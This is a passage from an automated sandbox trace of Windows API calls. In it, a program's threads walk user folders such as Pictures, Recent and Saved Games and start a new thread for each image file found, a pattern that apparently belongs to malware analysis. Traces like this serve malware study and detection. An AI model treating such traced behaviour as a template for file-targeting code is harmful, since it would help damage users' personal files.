ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0087.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858a90) returned 1 [0087.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858af0) returned 1 Thread: id = 265 os_tid = 0xd54 [0087.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858af0 [0087.870] wcscpy (in: _Dest=0x1b858af0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0087.870] wcscat (in: _Dest=0x1b858af0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0087.870] wcscat (in: _Dest=0x1b858af0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*" [0087.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0087.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e0aba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e0aba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858a90 [0087.871] wcscmp (_String1=".", _String2=".") returned 0 [0087.871] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e0aba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e0aba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.871] wcscmp (_String1="..", _String2=".") returned 1 [0087.871] wcscmp (_String1="..", _String2="..") returned 0 [0087.871] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b3a8de0, ftCreationTime.dwHighDateTime=0x1d5e3d4, ftLastAccessTime.dwLowDateTime=0x1c2000f0, ftLastAccessTime.dwHighDateTime=0x1d5e4e9, ftLastWriteTime.dwLowDateTime=0x1c2000f0, ftLastWriteTime.dwHighDateTime=0x1d5e4e9, nFileSizeHigh=0x0, nFileSizeLow=0x13ec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="2rq4xAnMZAwBpPiEw.gif", cAlternateFileName="2RQ4XA~1.GIF")) returned 1 [0087.871] wcscmp (_String1="2rq4xAnMZAwBpPiEw.gif", _String2=".") returned 1 [0087.871] wcscmp (_String1="2rq4xAnMZAwBpPiEw.gif", _String2="..") returned 1 [0087.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c840 [0087.871] wcscpy (in: _Dest=0x1b85c840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0087.871] wcscat (in: _Dest=0x1b85c840, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0087.871] wcscat (in: _Dest=0x1b85c840, _Source="2rq4xAnMZAwBpPiEw.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2rq4xAnMZAwBpPiEw.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2rq4xAnMZAwBpPiEw.gif" [0090.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0090.822] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeded210, ftCreationTime.dwHighDateTime=0x1d5de61, ftLastAccessTime.dwLowDateTime=0xec45e020, ftLastAccessTime.dwHighDateTime=0x1d5e57e, ftLastWriteTime.dwLowDateTime=0xec45e020, ftLastWriteTime.dwHighDateTime=0x1d5e57e, nFileSizeHigh=0x0, nFileSizeLow=0xea57, dwReserved0=0x0, dwReserved1=0x0, cFileName="4GaiTZx.gif", cAlternateFileName="")) returned 1 [0090.822] wcscmp (_String1="4GaiTZx.gif", _String2=".") returned 1 [0090.822] wcscmp (_String1="4GaiTZx.gif", _String2="..") returned 1 [0090.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c22f0 [0090.822] wcscpy (in: _Dest=0x1b7c22f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.822] wcscat (in: _Dest=0x1b7c22f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.823] wcscat (in: _Dest=0x1b7c22f0, _Source="4GaiTZx.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4GaiTZx.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4GaiTZx.gif" [0090.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c22f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34 [0090.823] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.823] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0090.823] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0090.823] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5cbfe0, ftCreationTime.dwHighDateTime=0x1d5dca8, ftLastAccessTime.dwLowDateTime=0xff26e20, ftLastAccessTime.dwHighDateTime=0x1d5d7bb, ftLastWriteTime.dwLowDateTime=0xff26e20, ftLastWriteTime.dwHighDateTime=0x1d5d7bb, nFileSizeHigh=0x0, nFileSizeLow=0x3fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="flCVIZmSE7Ae.bmp", cAlternateFileName="FLCVIZ~1.BMP")) returned 1 [0090.823] wcscmp (_String1="flCVIZmSE7Ae.bmp", _String2=".") returned 1 [0090.823] wcscmp (_String1="flCVIZmSE7Ae.bmp", _String2="..") returned 1 [0090.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0090.823] wcscpy (in: _Dest=0x1b79e0f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.823] wcscat (in: _Dest=0x1b79e0f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.823] wcscat (in: _Dest=0x1b79e0f0, _Source="flCVIZmSE7Ae.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp" [0090.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38 [0090.824] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4511a90, ftCreationTime.dwHighDateTime=0x1d5d813, ftLastAccessTime.dwLowDateTime=0x9932c800, ftLastAccessTime.dwHighDateTime=0x1d5dadc, ftLastWriteTime.dwLowDateTime=0x9932c800, ftLastWriteTime.dwHighDateTime=0x1d5dadc, nFileSizeHigh=0x0, nFileSizeLow=0xde92, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPfNucXtV4i9TI.jpg", cAlternateFileName="REPFNU~1.JPG")) returned 1 [0090.824] wcscmp (_String1="REPfNucXtV4i9TI.jpg", _String2=".") returned 1 [0090.824] wcscmp (_String1="REPfNucXtV4i9TI.jpg", _String2="..") returned 1 [0090.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e6f0 [0090.824] wcscpy (in: _Dest=0x1b79e6f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.824] wcscat (in: _Dest=0x1b79e6f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.824] wcscat (in: _Dest=0x1b79e6f0, _Source="REPfNucXtV4i9TI.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg" [0090.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c [0090.825] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc627410, ftCreationTime.dwHighDateTime=0x1d5e43f, ftLastAccessTime.dwLowDateTime=0x787e9d30, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0x787e9d30, ftLastWriteTime.dwHighDateTime=0x1d5e3e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tMlAQdvmhM9kgH9", cAlternateFileName="TMLAQD~1")) returned 1 [0090.825] wcscmp (_String1="tMlAQdvmhM9kgH9", _String2=".") returned 1 [0090.825] wcscmp (_String1="tMlAQdvmhM9kgH9", _String2="..") returned 1 [0090.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e270 [0090.825] wcscpy (in: _Dest=0x1b79e270, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.825] wcscat (in: _Dest=0x1b79e270, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.825] wcscat (in: _Dest=0x1b79e270, _Source="tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0090.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79e270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40 [0090.826] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6dc7f0, ftCreationTime.dwHighDateTime=0x1d5dcd7, ftLastAccessTime.dwLowDateTime=0x4357f670, ftLastAccessTime.dwHighDateTime=0x1d5e398, ftLastWriteTime.dwLowDateTime=0x4357f670, ftLastWriteTime.dwHighDateTime=0x1d5e398, nFileSizeHigh=0x0, nFileSizeLow=0x184f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrN7x1hjqn2-.gif", cAlternateFileName="TRN7X1~1.GIF")) returned 1 [0090.826] wcscmp (_String1="TrN7x1hjqn2-.gif", _String2=".") returned 1 [0090.826] wcscmp (_String1="TrN7x1hjqn2-.gif", _String2="..") returned 1 [0090.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0090.826] wcscpy (in: _Dest=0x1b79e5f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.826] wcscat (in: _Dest=0x1b79e5f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.826] wcscat (in: _Dest=0x1b79e5f0, _Source="TrN7x1hjqn2-.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\TrN7x1hjqn2-.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\TrN7x1hjqn2-.gif" [0090.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44 [0090.827] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70a3fc0, ftCreationTime.dwHighDateTime=0x1d5da60, ftLastAccessTime.dwLowDateTime=0x4ffb23e0, ftLastAccessTime.dwHighDateTime=0x1d5dfae, ftLastWriteTime.dwLowDateTime=0x4ffb23e0, ftLastWriteTime.dwHighDateTime=0x1d5dfae, nFileSizeHigh=0x0, nFileSizeLow=0xa875, dwReserved0=0x0, dwReserved1=0x0, cFileName="YcAn 6cV6S.png", cAlternateFileName="YCAN6C~1.PNG")) returned 1 [0090.827] wcscmp (_String1="YcAn 6cV6S.png", _String2=".") returned 1 [0090.827] wcscmp (_String1="YcAn 6cV6S.png", _String2="..") returned 1 [0090.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e170 [0090.827] wcscpy (in: _Dest=0x1b79e170, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.827] wcscat (in: _Dest=0x1b79e170, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.827] wcscat (in: _Dest=0x1b79e170, _Source="YcAn 6cV6S.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png" [0090.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48 [0090.828] FindNextFileW (in: hFindFile=0x1b858a90, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70a3fc0, ftCreationTime.dwHighDateTime=0x1d5da60, ftLastAccessTime.dwLowDateTime=0x4ffb23e0, ftLastAccessTime.dwHighDateTime=0x1d5dfae, ftLastWriteTime.dwLowDateTime=0x4ffb23e0, ftLastWriteTime.dwHighDateTime=0x1d5dfae, nFileSizeHigh=0x0, nFileSizeLow=0xa875, dwReserved0=0x0, dwReserved1=0x0, cFileName="YcAn 6cV6S.png", cAlternateFileName="YCAN6C~1.PNG")) returned 0 [0090.828] FindClose (in: hFindFile=0x1b858a90 | out: hFindFile=0x1b858a90) returned 1 [0090.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0090.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858af0) returned 1 [0090.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858b50) returned 1 Thread: id = 266 os_tid = 0xd58 [0087.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9caf0 [0087.872] wcscpy (in: _Dest=0x1cd9caf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0087.872] wcscat (in: _Dest=0x1cd9caf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\" [0087.872] wcscat (in: _Dest=0x1cd9caf0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*" [0087.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0087.873] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9caf0) returned 1 [0087.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858bb0) returned 1 Thread: id = 267 os_tid = 0xd5c [0087.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858bb0 [0087.877] wcscpy (in: _Dest=0x1b858bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0087.877] wcscat (in: _Dest=0x1b858bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\" [0087.877] wcscat (in: _Dest=0x1b858bb0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*" [0087.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0087.878] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0087.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858bb0) returned 1 [0087.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858c10) returned 1 Thread: id = 268 os_tid = 0xd60 [0087.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b858c10 [0087.882] wcscpy (in: _Dest=0x1b858c10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0087.882] wcscat (in: _Dest=0x1b858c10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\" [0087.882] wcscat (in: _Dest=0x1b858c10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*" [0087.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0087.882] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858bb0 [0087.883] wcscmp (_String1=".", _String2=".") returned 0 [0087.883] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.883] wcscmp (_String1="..", _String2=".") returned 1 [0087.883] wcscmp (_String1="..", _String2="..") returned 0 [0087.883] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.883] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0087.883] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0087.883] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.883] FindClose (in: hFindFile=0x1b858bb0 | out: hFindFile=0x1b858bb0) returned 1 [0087.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0087.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858c10) returned 1 [0087.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858c70) returned 1 Thread: id = 269 os_tid = 0xd64 [0087.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858c70 [0087.888] wcscpy (in: _Dest=0x1b858c70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0087.888] wcscat (in: _Dest=0x1b858c70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0087.888] wcscat (in: _Dest=0x1b858c70, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*" [0087.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0087.888] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858c10 [0087.889] wcscmp (_String1=".", _String2=".") returned 0 [0087.889] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 